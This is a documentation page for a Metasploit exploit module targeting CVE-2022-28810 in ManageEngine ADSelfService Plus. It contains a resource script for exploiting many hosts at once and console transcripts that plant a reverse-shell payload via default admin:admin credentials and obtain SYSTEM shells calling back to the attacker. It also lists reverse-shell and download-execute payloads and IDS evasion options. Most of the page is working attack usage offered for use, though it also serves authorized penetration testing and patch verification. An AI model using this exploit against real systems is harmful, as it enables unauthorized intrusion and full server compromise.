ManageEngine ADSelfService Plus Custom Script Execution - Metasploit


This page contains detailed information about how to use the exploit/windows/http/manageengine_adselfservice_plus_cve_2022_28810 metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: ManageEngine ADSelfService Plus Custom Script Execution
Module: exploit/windows/http/manageengine_adselfservice_plus_cve_2022_28810
Source code: modules/exploits/windows/http/manageengine_adselfservice_plus_cve_2022_28810.rb
Disclosure date: 2022-04-09
Last modification time: 2022-04-20 15:22:07 +0000
Supported architecture(s): cmd
Supported platform(s): Windows
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2022-28810

This module exploits the "custom script" feature of ADSelfService Plus. The feature was removed in build 6122 as part of the patch for CVE-2022-28810. For purposes of this module, a "custom script" is arbitrary operating system command execution. This module uses an attacker provided "admin" account to insert the malicious payload into the custom script fields. When a user resets their password or unlocks their account, the payload in the custom script will be executed. The payload will be executed as SYSTEM if ADSelfService Plus is installed as a service, which we believe is the normal operational behavior. This is a passive module because user interaction is required to trigger the payload. This module also does not automatically remove the malicious code from the remote target. Use the "TARGET_RESET" operation to remove the malicious custom script when you are done. ADSelfService Plus uses default credentials of "admin":"admin"

Module Ranking and Traits


Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Reliability:

  • repeatable-session: The module is expected to get a shell every time it runs.

Stability:

  • crash-safe: Module should not crash the service.

Side Effects:

  • ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).

Basic Usage


Using manageengine_adselfservice_plus_cve_2022_28810 against a single host

Normally, you can use exploit/windows/http/manageengine_adselfservice_plus_cve_2022_28810 this way:

msf > use exploit/windows/http/manageengine_adselfservice_plus_cve_2022_28810
msf exploit(manageengine_adselfservice_plus_cve_2022_28810) > show targets
    ... a list of targets ...
msf exploit(manageengine_adselfservice_plus_cve_2022_28810) > set TARGET target-id
msf exploit(manageengine_adselfservice_plus_cve_2022_28810) > show options
    ... show and set options ...
msf exploit(manageengine_adselfservice_plus_cve_2022_28810) > exploit

Using manageengine_adselfservice_plus_cve_2022_28810 against multiple hosts

But it looks like this is a remote exploit module, which means you can also engage multiple hosts.

First, create a list of IPs you wish to exploit with this module. One IP per line.

Second, set up a background payload listener. This payload should be the same as the one your manageengine_adselfservice_plus_cve_2022_28810 will be using:

  1. Do: use exploit/multi/handler
  2. Do: set PAYLOAD [payload]
  3. Set other options required by the payload
  4. Do: set EXITONSESSION false
  5. Do: run -j

At this point, you should have a payload listening.

Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:

<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'

File.open(ip_list, 'rb').each_line do |ip|
  print_status("Trying against #{ip}")
  run_single("use exploit/windows/http/manageengine_adselfservice_plus_cve_2022_28810")
  run_single("set RHOST #{ip}")
  run_single("set DisablePayloadHandler true")

  #
  # Set a payload that's the same as the handler.
  # You might also need to add more run_single commands to configure other
  # payload options.
  #
  run_single("set PAYLOAD [payload name]")

  run_single("run")
end
</ruby>

Next, run the resource script in the console:

msf > resource [path-to-resource-script]

And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:

msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80

RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199

[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600

[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600

Required Options


  • RHOSTS: The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit

Knowledge Base


Vulnerable Application


Description

This module exploits the "custom script" feature of ADSelfService Plus. The feature was removed in build 6122 as part of the patch for CVE-2022-28810. For purposes of this module, a "custom script" is arbitrary operating system command execution.

This module uses an attacker provided "admin" account to insert the malicious payload into the custom script fields. When a user resets their password or unlocks their account, the payload in the custom script will be executed. The payload will be executed as SYSTEM if ADSelfService Plus is installed as a service, which we believe is the normal operational behavior.

This is a passive module because user interaction is required to trigger the payload. This module also does not automatically remove the malicious code from the remote target. Use the "TARGET_RESET" operation to remove the malicious custom script when you are done.

ADSelfService Plus uses default credentials of "admin":"admin"

Setup

Follow the Getting Started guide. You will need an AD environment and at least two accounts: an AD admin for ADSelfService Plus and a test account to enroll in the service. The service runs on Windows (any it seems - I tested on Windows 10), so you'll need that.

  1. Prepare a Windows environment to install on.
  2. Download ManageEngine_ADSelfService_Plus_64bit.exe build 6121
  3. Run the installer (skip registeration). Do not "Start ADSelfService Plus in console mode".
  4. Run the service installer (start menu -> "Install ADSelfService Plus as Service")
  5. Start the service (services -> "ManageEngine ADSelfService Plus")
  6. Nagivate to the web server: http://localhost:8888 (may take a few minutes to load)
  7. Log in as "admin" (password: admin)
  8. Connect the AD DC: enter the domain name and hit discover. Provide credentials when prompted.
  9. Enroll users via "Configuration" -> "Administration Tools" -> "Quick Enrollment" -> "Import Users from CSV". Download the "sample.csv, edit it with your test user and upload it." Also use "Import" -> "Answer" in the drop down.
  10. Logout from the admin account and log in as the newly enrolled user to configure the secret question responses. Once completed the test user should be fully enrolled and ready for hax.
  11. You may need to open up port 8888 on the firewall. I've encountered ADSSP forgetting to do so.

Verification Steps


  • Follow setup steps above.
  • Do: use exploit/windows/http/manageengine_adselfservice_plus_cve_2022_28810
  • Do: set RHOST <ip>
  • Do: set LHOST <ip>
  • Do: check
  • Verify the remote host is vulnerable.
  • Do: run
  • Verify the module is waiting for a reverse TCP connection
  • Navigate to the ADSelfService Plus web UI and reset your test users password.
  • After a new password has been set verify the module received a reverse shell.
  • Exit the shell
  • Do set TARGET_RESET true
  • Do run
  • Navigate to the ADSelfService Plus web UI, log in as admin, and verify that the custom scripts have been removed and disabled ("Configuration" -> "Self Service" -> "Policy Configuration" -> "Advanced" -> "Password Sync")

Options


USERNAME

The ManageEngine ADSelfService Plus administrator's username ("admin" by default).

PASSWORD

The ManageEngine ADSelfService Plus administrator's password ("admin" by default).

TARGET_RESET


If set to true, instead of dropping a payload into the custom scripts fields, the module will disable custom scripts and clear the custom scripts field. If set to false, the module will enable custom scripts and insert the configured payload.

Scenarios


Successful exploitation of ADSelfService Plus 6121 on Windows 10 over HTTP

msf6 > use exploit/windows/http/manageengine_adselfservice_plus_cve_2022_28810
[*] Using configured payload cmd/windows/jjs_reverse_tcp
msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > set RHOST 10.0.0.20
RHOST => 10.0.0.20
msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > set LHOST 10.0.0.2
LHOST => 10.0.0.2
msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > check
[*] 10.0.0.20:8888 - The target appears to be vulnerable. This determination is based on the version string: 6121.
msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > run
[*] Exploit running as background job 0.

[*] Running automatic check ("set AutoCheck false" to disable)
msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > [+] The target appears to be vulnerable. This determination is based on the version string: 6121.
[+] Authentication successful
[*] Requesting policy list from /ServletAPI/configuration/policyConfig/getPolicyConfigDetails
[*] Requesting policy details for okhuman.ninja
[*] Enabling custom scripts and inserting the payload
[*] Posting updated policy configuration to /ServletAPI/configuration/policyConfig/setAPCDetails
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 10.0.0.2:4444 

msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > 
msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > 
msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > [*] Command shell session 1 opened (10.0.0.2:4444 -> 10.0.0.20:49940 ) at 2022-04-19 08:47:28 -0700

msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > sessions 1
[*] Starting interaction with 1...


Shell Banner:
M
-----


C:\ManageEngine\ADSelfService Plus\bin>whoami
whoami
nt authority\system

Failed log in

sf6 > use exploit/windows/http/manageengine_adselfservice_plus_cve_2022_28810
[*] Using configured payload cmd/windows/jjs_reverse_tcp
msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > set RHOST 10.0.0.20
RHOST => 10.0.0.20
msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > set LHOST 10.0.0.2
LHOST => 10.0.0.2
msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > set PASSWORD lolwat
PASSWORD => lolwat
msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > run
[*] Exploit running as background job 0.

[*] Running automatic check ("set AutoCheck false" to disable)
msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > [+] The target appears to be vulnerable. This determination is based on the version string: 6121.
[-] Exploit aborted due to failure: no-access: Log in attempt failed

msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > 

Failed exploitation of patched ADSelfService Plus build 6122

msf6 > use exploit/windows/http/manageengine_adselfservice_plus_cve_2022_28810
[*] Using configured payload cmd/windows/jjs_reverse_tcp
msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > set RHOST 10.0.0.16
RHOST => 10.0.0.16
msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > set LHOST 10.0.0.2
LHOST => 10.0.0.2
msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > run
[*] Exploit running as background job 0.

msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > [*] Running automatic check ("set AutoCheck false" to disable)
[-] Exploit aborted due to failure: not-vulnerable: The target is not exploitable. This determination is based on the version string: 6122. "set ForceExploit true" to override check result.

msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > 

Successful exploitation of ADSelfService Plus 6121 on Windows 10 over HTTPs (9251 is default when configured)

msf6 > use exploit/windows/http/manageengine_adselfservice_plus_cve_2022_28810
[*] Using configured payload cmd/windows/jjs_reverse_tcp
msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > set SSL true
[!] Changing the SSL option's value may require changing RPORT!
SSL => true
msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > set RPORT 9251
RPORT => 9251
msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > set RHOST 10.0.0.20
RHOST => 10.0.0.20
msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > set LHOST 10.0.0.2
LHOST => 10.0.0.2
msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > check
[*] 10.0.0.20:9251 - The target appears to be vulnerable. This determination is based on the version string: 6121.
msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > run
[*] Exploit running as background job 0.

[*] Running automatic check ("set AutoCheck false" to disable)
msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > [+] The target appears to be vulnerable. This determination is based on the version string: 6121.
[+] Authentication successful
[*] Requesting policy list from /ServletAPI/configuration/policyConfig/getPolicyConfigDetails
[*] Requesting policy details for okhuman.ninja
[*] Enabling custom scripts and inserting the payload
[*] Posting updated policy configuration to /ServletAPI/configuration/policyConfig/setAPCDetails
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 10.0.0.2:4444 
[*] Command shell session 1 opened (10.0.0.2:4444 -> 10.0.0.20:50035 ) at 2022-04-19 09:10:37 -0700

msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > sessions 1
[*] Starting interaction with 1...


Shell Banner:
Microsoft
-----


C:\ManageEngine\ADSelfService Plus\bin>whoami
whoami
nt authority\system

Successful exploitation of ADSelfService Plus 6121 on Windows 10 over HTTP for a powershell reverse shell

msf6 > use exploit/windows/http/manageengine_adselfservice_plus_cve_2022_28810
[*] Using configured payload cmd/windows/jjs_reverse_tcp
msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > set RHOST 10.0.0.20
RHOST => 10.0.0.20
msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > set LHOST 10.0.0.2
LHOST => 10.0.0.2
msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > set SHELL powershell.exe
SHELL => powershell.exe
msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > run
[*] Exploit running as background job 0.

[*] Running automatic check ("set AutoCheck false" to disable)
msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > [-] Exploit aborted due to failure: unknown: Cannot reliably check exploitability. The target failed to respond to check. "set ForceExploit true" to override check result.

msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > run
[*] Exploit running as background job 1.

msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > [*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. This determination is based on the version string: 6121.
[+] Authentication successful
[*] Requesting policy list from /ServletAPI/configuration/policyConfig/getPolicyConfigDetails
[*] Requesting policy details for okhuman.ninja
[*] Enabling custom scripts and inserting the payload
[*] Posting updated policy configuration to /ServletAPI/configuration/policyConfig/setAPCDetails
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 10.0.0.2:4444 
[*] Command shell session 1 opened (10.0.0.2:4444 -> 10.0.0.20:50060 ) at 2022-04-19 10:15:20 -0700

msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > sessions 1
[*] Starting interaction with 1...


PS C:\ManageEngine\ADSelfService Plus\bin> id
id
id : The term 'id' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the 
spelling of the name, or if a path was included, verify that the path is correct and try again.
At line:1 char:1
+ id
+ ~~
    + CategoryInfo          : ObjectNotFound: (id:String) [], CommandNotFoundException
    + FullyQualifiedErrorId : CommandNotFoundException

PS C:\ManageEngine\ADSelfService Plus\bin> whoami
whoami
nt authority\system
PS C:\ManageEngine\ADSelfService Plus\bin> 

Go back to menu.

Msfconsole Usage


Here is how the windows/http/manageengine_adselfservice_plus_cve_2022_28810 exploit module looks in the msfconsole:

msf6 > use exploit/windows/http/manageengine_adselfservice_plus_cve_2022_28810

[*] Using configured payload cmd/windows/jjs_reverse_tcp
msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > show info

       Name: ManageEngine ADSelfService Plus Custom Script Execution
     Module: exploit/windows/http/manageengine_adselfservice_plus_cve_2022_28810
   Platform: Windows
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2022-04-09

Provided by:
  Jake Baines
  Hernan Diaz
  Andrew Iwamaye
  Dan Kelley

Module side effects:
 ioc-in-logs

Module stability:
 crash-safe

Module reliability:
 repeatable-session

Available targets:
  Id  Name
  --  ----
  0   Windows Command

Check supported:
  Yes

Basic options:
  Name          Current Setting  Required  Description
  ----          ---------------  --------  -----------
  PASSWORD      admin            yes       The administrator user's password
  Proxies                        no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                         yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
  RPORT         8888             yes       The target port (TCP)
  SSL           false            no        Negotiate SSL/TLS for outgoing connections
  TARGETURI     /                yes       Path traversal for auth bypass
  TARGET_RESET  false            yes       On the target, disables custom scripts and clears custom script field
  USERNAME      admin            yes       The administrator username
  VHOST                          no        HTTP server virtual host

Payload information:

Description:
  This module exploits the "custom script" feature of ADSelfService 
  Plus. The feature was removed in build 6122 as part of the patch for 
  CVE-2022-28810. For purposes of this module, a "custom script" is 
  arbitrary operating system command execution. This module uses an 
  attacker provided "admin" account to insert the malicious payload 
  into the custom script fields. When a user resets their password or 
  unlocks their account, the payload in the custom script will be 
  executed. The payload will be executed as SYSTEM if ADSelfService 
  Plus is installed as a service, which we believe is the normal 
  operational behavior. This is a passive module because user 
  interaction is required to trigger the payload. This module also 
  does not automatically remove the malicious code from the remote 
  target. Use the "TARGET_RESET" operation to remove the malicious 
  custom script when you are done. ADSelfService Plus uses default 
  credentials of "admin":"admin"

References:
  https://nvd.nist.gov/vuln/detail/CVE-2022-28810
  https://www.manageengine.com/products/self-service-password/kb/cve-2022-28810.html
  https://www.rapid7.com/blog/post/2022/04/14/cve-2022-28810-manageengine-adselfservice-plus-authenticated-command-execution-fixed/

Module Options


This is a complete list of options available in the windows/http/manageengine_adselfservice_plus_cve_2022_28810 exploit:

msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > show options

Module options (exploit/windows/http/manageengine_adselfservice_plus_cve_2022_28810):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   PASSWORD      admin            yes       The administrator user's password
   Proxies                        no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                         yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT         8888             yes       The target port (TCP)
   SSL           false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI     /                yes       Path traversal for auth bypass
   TARGET_RESET  false            yes       On the target, disables custom scripts and clears custom script field
   USERNAME      admin            yes       The administrator username
   VHOST                          no        HTTP server virtual host

Payload options (cmd/windows/jjs_reverse_tcp):

   Name      Current Setting     Required  Description
   ----      ---------------     --------  -----------
   JJS_PATH  ..\jre\bin\jjs.exe  yes       The path to JJS.
   LHOST                         yes       The listen address (an interface may be specified)
   LPORT     4444                yes       The listen port
   SHELL     cmd.exe             yes       The shell to execute.

   **DisablePayloadHandler: True   (no handler will be created!)**

Exploit target:

   Id  Name
   --  ----
   0   Windows Command

Advanced Options


Here is a complete list of advanced options supported by the windows/http/manageengine_adselfservice_plus_cve_2022_28810 exploit:

msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > show advanced

Module advanced options (exploit/windows/http/manageengine_adselfservice_plus_cve_2022_28810):

   Name                    Current Setting                          Required  Description
   ----                    ---------------                          --------  -----------
   AutoCheck               true                                     no        Run check before exploit
   ContextInformationFile                                           no        The information file that contains context information
   DOMAIN                  WORKSTATION                              yes       The domain to use for Windows authentication
   DigestAuthIIS           true                                     no        Conform to IIS, should work for most servers. Only set to false for non
                                                                              -IIS servers
   DisablePayloadHandler   true                                     no        Disable the handler code for the selected payload
   EnableContextEncoding   false                                    no        Use transient context when encoding payloads
   FingerprintCheck        true                                     no        Conduct a pre-exploit fingerprint verification
   ForceExploit            false                                    no        Override check result
   HttpClientTimeout                                                no        HTTP connection and receive timeout
   HttpPassword                                                     no        The HTTP password to specify for authentication
   HttpRawHeaders                                                   no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace               false                                    no        Show the raw HTTP requests and responses
   HttpTraceColors         red/blu                                  no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly    false                                    no        Show HTTP headers only in HttpTrace
   HttpUsername                                                     no        The HTTP username to specify for authentication
   SSLVersion              Auto                                     yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto
                                                                              -negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   UserAgent               Mozilla/5.0 (Macintosh; Intel Mac OS X   no        The User-Agent header to use for all requests
                           12.2; rv:97.0) Gecko/20100101 Firefox/9
                           7.0
   VERBOSE                 false                                    no        Enable detailed status messages
   WORKSPACE                                                        no        Specify the workspace for this module

Payload advanced options (cmd/windows/jjs_reverse_tcp):

   Name                        Current Setting  Required  Description
   ----                        ---------------  --------  -----------
   AutoRunScript                                no        A script to run automatically on session creation.
   AutoVerifySession           true             yes       Automatically verify and drop invalid sessions
   CommandShellCleanupCommand                   no        A command to run before the session is closed
   CreateSession               true             no        Create a new session for every successful login
   InitialAutoRunScript                         no        An initial script to run on session creation (before AutoRunScript)
   ReverseAllowProxy           false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but d
                                                          irectly to LHOST
   ReverseListenerBindAddress                   no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                      no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                          no        The specific communication channel to use for this listener
   ReverseListenerThreaded     false            yes       Handle every connection in a new thread (experimental)
   StagerRetryCount            10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait             5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                     false            no        Enable detailed status messages
   WORKSPACE                                    no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the windows/http/manageengine_adselfservice_plus_cve_2022_28810 module can exploit:

msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Windows Command

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the windows/http/manageengine_adselfservice_plus_cve_2022_28810 exploit:

msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > show payloads

Compatible Payloads
===================

   #   Name                                            Disclosure Date  Rank    Check  Description
   -   ----                                            ---------------  ----    -----  -----------
   0   payload/cmd/windows/adduser                                      normal  No     Windows Execute net user /ADD CMD
   1   payload/cmd/windows/bind_lua                                     normal  No     Windows Command Shell, Bind TCP (via Lua)
   2   payload/cmd/windows/bind_perl                                    normal  No     Windows Command Shell, Bind TCP (via Perl)
   3   payload/cmd/windows/bind_perl_ipv6                               normal  No     Windows Command Shell, Bind TCP (via perl) IPv6
   4   payload/cmd/windows/bind_ruby                                    normal  No     Windows Command Shell, Bind TCP (via Ruby)
   5   payload/cmd/windows/download_eval_vbs                            normal  No     Windows Executable Download and Evaluate VBS
   6   payload/cmd/windows/download_exec_vbs                            normal  No     Windows Executable Download and Execute (via .vbs)
   7   payload/cmd/windows/generic                                      normal  No     Windows Command, Generic Command Execution
   8   payload/cmd/windows/jjs_reverse_tcp                              normal  No     Windows Shell, Reverse TCP (via jjs)
   9   payload/cmd/windows/powershell_bind_tcp                          normal  No     Windows Interactive Powershell Session, Bind TCP
   10  payload/cmd/windows/powershell_reverse_tcp                       normal  No     Windows Interactive Powershell Session, Reverse TCP
   11  payload/cmd/windows/powershell_reverse_tcp_ssl                   normal  No     Windows Interactive Powershell Session, Reverse TCP SSL
   12  payload/cmd/windows/reverse_lua                                  normal  No     Windows Command Shell, Reverse TCP (via Lua)
   13  payload/cmd/windows/reverse_perl                                 normal  No     Windows Command, Double Reverse TCP Connection (via Perl)
   14  payload/cmd/windows/reverse_powershell                           normal  No     Windows Command Shell, Reverse TCP (via Powershell)
   15  payload/cmd/windows/reverse_ruby                                 normal  No     Windows Command Shell, Reverse TCP (via Ruby)
   16  payload/generic/custom                                           normal  No     Custom Payload
   17  payload/generic/shell_bind_tcp                                   normal  No     Generic Command Shell, Bind TCP Inline
   18  payload/generic/shell_reverse_tcp                                normal  No     Generic Command Shell, Reverse TCP Inline
   19  payload/generic/ssh/interact                                     normal  No     Interact with Established SSH Connection

Evasion Options


Here is the full list of possible evasion options supported by the windows/http/manageengine_adselfservice_plus_cve_2022_28810 exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-no
                                                            rmal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

The target failed to respond to check.


Here is a relevant code snippet related to the "The target failed to respond to check." error message:

90:	  # for the check function. We can extract the version (or build) from selfservice/index.html.
91:	  ##
92:	  def check
93:	    res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/selfservice/index.html'))
94:	    unless res
95:	      return CheckCode::Unknown('The target failed to respond to check.')
96:	    end
97:	
98:	    unless res.code == 200
99:	      return CheckCode::Safe('Failed to retrieve /selfservice/index.html')
100:	    end

Failed to retrieve /selfservice/index.html


Here is a relevant code snippet related to the "Failed to retrieve /selfservice/index.html" error message:

94:	    unless res
95:	      return CheckCode::Unknown('The target failed to respond to check.')
96:	    end
97:	
98:	    unless res.code == 200
99:	      return CheckCode::Safe('Failed to retrieve /selfservice/index.html')
100:	    end
101:	
102:	    ver = res.body[/\.css\?buildNo=(?<build_id>[0-9]+)/, :build_id]
103:	    if ver.nil?
104:	      return CheckCode::Safe('Could not extract a version number')

Could not extract a version number


Here is a relevant code snippet related to the "Could not extract a version number" error message:

99:	      return CheckCode::Safe('Failed to retrieve /selfservice/index.html')
100:	    end
101:	
102:	    ver = res.body[/\.css\?buildNo=(?<build_id>[0-9]+)/, :build_id]
103:	    if ver.nil?
104:	      return CheckCode::Safe('Could not extract a version number')
105:	    end
106:	
107:	    if Rex::Version.new(ver) < Rex::Version.new('6122')
108:	      return CheckCode::Appears("This determination is based on the version string: #{ver}.")
109:	    end

This determination is based on the version string: <VER>.


Here is a relevant code snippet related to the "This determination is based on the version string: <VER>." error message:

103:	    if ver.nil?
104:	      return CheckCode::Safe('Could not extract a version number')
105:	    end
106:	
107:	    if Rex::Version.new(ver) < Rex::Version.new('6122')
108:	      return CheckCode::Appears("This determination is based on the version string: #{ver}.")
109:	    end
110:	
111:	    CheckCode::Safe("This determination is based on the version string: #{ver}.")
112:	  end
113:	

This determination is based on the version string: <VER>.


Here is a relevant code snippet related to the "This determination is based on the version string: <VER>." error message:

106:	
107:	    if Rex::Version.new(ver) < Rex::Version.new('6122')
108:	      return CheckCode::Appears("This determination is based on the version string: #{ver}.")
109:	    end
110:	
111:	    CheckCode::Safe("This determination is based on the version string: #{ver}.")
112:	  end
113:	
114:	  ##
115:	  # Authenticate with the remote target. Login requires four steps:
116:	  #

The target did not respond


Here is a relevant code snippet related to the "The target did not respond" error message:

122:	  # @return a new CSRF token to use with authenticated requests
123:	  ##
124:	  def authenticate
125:	    # grab a CSRF token from the index
126:	    res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/authorization.do') })
127:	    fail_with(Failure::Unreachable, 'The target did not respond') unless res
128:	    fail_with(Failure::UnexpectedReply, 'Failed to grab a CSRF token') if res.get_cookies_parsed.empty? || res.get_cookies_parsed['HttpOnly, adscsrf'].empty?
129:	    csrf_tok = res.get_cookies_parsed['HttpOnly, adscsrf'].to_s[/HttpOnly, adscsrf=(?<token>[0-9a-f-]+); path=/, :token]
130:	    fail_with(Failure::UnexpectedReply, 'Failed to grab a CSRF token') unless csrf_tok
131:	
132:	    # send the first login request to get the ssp token

Failed to grab a CSRF token


Here is a relevant code snippet related to the "Failed to grab a CSRF token" error message:

123:	  ##
124:	  def authenticate
125:	    # grab a CSRF token from the index
126:	    res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/authorization.do') })
